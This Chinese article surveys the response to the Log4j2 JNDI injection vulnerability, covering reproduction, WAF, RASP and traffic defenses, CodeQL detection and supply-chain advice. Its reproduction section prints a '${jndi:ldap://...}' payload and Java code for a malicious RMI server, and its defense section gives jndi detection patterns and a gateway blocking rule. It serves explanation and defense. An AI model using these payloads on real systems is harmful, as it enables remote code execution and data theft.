面对 Log4j2 漏洞，安全人都做了什么？

2022 年 1 月 20 日
本文字数：4534 字
阅读完需：约 15 分钟

摘要：本文从漏洞复现、漏洞防护、漏洞检测、软件供应链安全等方面，介绍安全人针对该漏洞做的尝试。

本文分享自华为云社区《面对 Log4j2 漏洞，安全人都做了什么？》，作者：maijun。

Apache Log4j2 是 Java 开发领域，应用非常广泛的一款日志记录框架。Apache Log4j2 漏洞从刚刚爆发，就因影响范围之大、危险程度之高（该漏洞可能导致设备远程受控，进而引发敏感信息窃取、设备服务中断等严重危害，属于高危漏洞。），成为了一个知名漏洞[1]，吸引了安全圈所有人的目光，甚至工信部也专门针对 Log4j2 漏洞给出了风险提示[2]。那么，面对 Log4j2，安全圈的安全人们，都做出了什么反应呢？

1、Log4j2 漏洞复现

在 Log4j2 漏洞爆发之初，往上已经有各种针对该漏洞（JNDI 注入漏洞）的复现资料给出，从实现上，都是用来执行任意代码。

在漏洞复现中，主要有两部分：

(1) 基于 Log4j2 开发的，自身存在漏洞的代码

这部分实现并不特殊，因为 Log4j2 的 JNDI 注入漏洞，几乎没有防护，因此不管是开发的 Web 服务还是普通 Java 应用，只要用到了 Log4j2 有漏洞的版本，都存在这方面的漏洞。比如下面的简单案例：

public static void main(String[] args) {     //有些高版本jdk需要打开此行代码     //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
     //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1     logger.error("${jndi:ldap://localhost:1389/Exploit}");}

复制代码

(2) 基于 JNDI 的 LDAP/RMI 服务搭建

在实现上，因为 Log4j2 的 JNDI 注入漏洞，几乎没有防护，因此复现的重点在于如何快速搭建一个 JNDI 服务。其实介绍到这部分，已经跟 Log4j2 漏洞没有太大的关系，任何的 JNDI 注入漏洞，都会涉及到下面的部分事项。下面介绍几种相关的实现。

① 南极进口哈士奇[3] 在 freebuf 上的复现中，采用了一款可以快速启动 RMI 和 LDAP 服务的工具，名字是 marshalsec[4]，该工具，也是我遇到的复现中，应用最多的工具。

② hacker-jia[5] 在 cnblogs 上的复现中，采用了一款开源工具 JNDI-Injection-Exploit[6]，从名字来看，是专门用于 JNDI 注入漏洞测试的工具。

③ oneforever[7] 在 segmentfault 上的复现中，则没有采用专用工具，直接本地启动了一个 RMI 服务器，代码如下所示：

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
/** * 准备好RMI服务端，等待受害服务器访问 */public class RMIServer {    public static void main(String[] args) {        try {            // 本地主机上的远程对象注册表Registry的实例,默认端口1099            LocateRegistry.createRegistry(1099);            Registry registry = LocateRegistry.getRegistry();            System.out.println("Create RMI registry on port 1099");            //返回的Java对象 第一个参数为包路径            Reference reference = new Reference("EvilCode","EvilCode",null);            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);            // 把远程对象注册到RMI注册服务器上，并命名为evil            registry.bind("evil",referenceWrapper);        } catch (RemoteException | AlreadyBoundException | NamingException e) {            e.printStackTrace();        }    }}

复制代码

在笔者收集的资料中，复现文章非常多，目前自己搭建 JNDI 服务（LDAP 或 RMI）的，有上面三个。另外也有专门用于 JNDI 注入测试的 docker 镜像，可以直接启动 docker 容器，然后进行攻击。

2、Log4j2 漏洞防护

(1) 安全防护公告

在漏洞刚刚爆发时，各大厂商就针对该漏洞发出各式各样的公告，提醒及时升级 Log4j2 的版本。这里就不再罗列了，因为当时朋友圈全部都是该漏洞的说明，好像安全圈不转发一下，就缺少了点儿什么似的，这里将重点放在下面的防护策略上。

(2) 基于 WAF、网关等安全防护

Web 应用防火墙和网关等产品，可以在外部的 http 请求过来时，对请求进行拦截，然后通过配置规则（如参数以 "jndi:ldap://" 或者 "jndi:rmi" 开头）对请求的参数进行校验，如果符合漏洞特征，进行漏洞预警。例如华为云[7]、阿里云[8] 等均在第一时间提供了相应的检查服务。

另外，除了上述商用的 WAF 产品，也有一些开源网关产品，可以实现对参数进行拦截，如 Apache APISIX[9]，在糖果的实验室[10] 的文章中，给出了一个拦截策略：

$ curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{ "uri": "/*", "plugins":{ "serverless-pre-function":{ "phase":"rewrite", "functions":[ "return function(conf, ctx) local core = require(\"apisix.core\"); local payload, err = core.request.get_body(); if not payload then local uri_args, err = core.request.get_uri_args(ctx)\n if uri_args then payload = core.json.encode(uri_args, true) end; end; local m = ngx.re.match(payload, \"jndi:ldap:\", \"jo\"); if m then ngx.exit(401) end; end" ] } }, "upstream": { "type": "roundrobin", "nodes": { "127.0.0.1:1980": 1 } }}'

复制代码

(3) 基于字节码增强技术(RASP)安全防护

RASP 是基于 Java 字节码增强技术，而实现的工具，可以在程序运行中，动态修改运行的程序。因此，可以很方便地，在 Log4j2 打日志的地方，校验要打印的数据内容，进行拦截。当前绝大部分放到程序执行机器上面的插件，都是基于该方案实施的。各大厂商，几乎都针对漏洞，提出了相关的插件。比如蚂蚁切面安全 RASP[11]、青藤云[12]、阿里云云上 RASP[8]等。

(4) 基于流量监控的安全防护

异常流量监控的方式，检查针对 jndi:ldap 或 jndi:rmi 的异常流量信息，来检测是否已经有利用该漏洞的执行任务。比如阿里的流量检测[8].

(5) 其他安全防护方式

其他部分解决方案，还有：

① 针对线上容器服务无法及时升级并更新容器的问题，腾讯云鼎实验室开发并开源了一键处置工具[13]，其采用的主要机制是：

② 360CERT 发布 Log4j2 恶意荷载批量检测调查工具[14]，该工具批量下载 ldap 字符串荷载包含的远程恶意 class 文件，class 文件可进行进一步的分析调查取证。

3、Log4j2 漏洞检测

主要有两个层面：①在不清楚有这个漏洞的情况下，如果检测出来可能存在的 JNDI 注入漏洞？② 已知 Log4j2 相关版本有此漏洞的排查。

其实后者更容易实现，属于开源代码检测的一个范围，对最终的发布包进行检测即可。最重要的是前者。

该漏洞的提出，使一个静态代码分析工具 CodeQL[16] 进入我们的视野[15]，文中提到在 CodeQL 中，以前已经有了相关规则可以检查该漏洞。

4、软件供应链安全提示

(1) 供应链和供应链攻击

由于现代软件功能越来越复杂，需要适配的平台也越来越多，因此，软件开发和运营方更倾向于使用第三方代码来实现某些专业功能，或使用第三方提供的集成开发工具进行软件的开发编译。这些第三方代码或者第三方集成开发工具由上游供应商开发，经中游分发，最后在下游被集成和使用，整体形成的链状结构被称为软件供应链。软件供应链攻击，就是攻击者在软件供应链条的上游或中游开始介入，通过感染上游制品或者破坏中游的制品分发过程，将恶意活动及其后效应向下游进行传播，对最终用户造成危害。随着互联网的快速发展，大多数软件已经成为自研模块、第三方商业软件模块以及开源软件模块的混合体，而自研模块占比逐渐降低，第三方商业软件和开源软件模块逐渐增多。在此背景下，软件供应链攻击越来越频繁[17]，软件供应链攻击有隐蔽性强和影响面大两个特征。

Log4j2 作为一个堪比标准库的基础日志库，无数的开源 Java 组件直接或间接依赖于它(只统计 1～4 层的依赖血缘关系，直接和间接 Log4j2 的开源组件总计有 17 万个，也就是说有至少 17 万个开源组件是受 Log4j2 漏洞影响)。作为软件供应链中的核心原始组件，组件自身的漏洞带给整个软件供应链的影响是最为直接、隐秘，也是影响最为深远的[18]。

(2) 如果保证软件供应链安全

墨菲安全实验室[19]分别从全球开源软件生态健康发展安全建设角度和企业应该如何有效控制所使用的软件供应链存在的安全风险两方面给出了建议。

在企业应该如何有效控制所使用的软件供应链存在的安全风险方面，墨菲安全认为，可以从以下四个方面着手：

① 建立有效的第三方软件管理机制；

② 供应链资产的识别和管理；

③ 漏洞缺陷的检测，比如华为云 VSS 在漏洞爆出来的第一时间对该漏洞的检查提供了支持[20]；

④ 高效的修复能力支撑。

在开源软件监控发展的安全建设上，墨菲安全实验室也分别从开源软件提供者、开源软件的分发者和开源软件的使用者三方面给出了建议。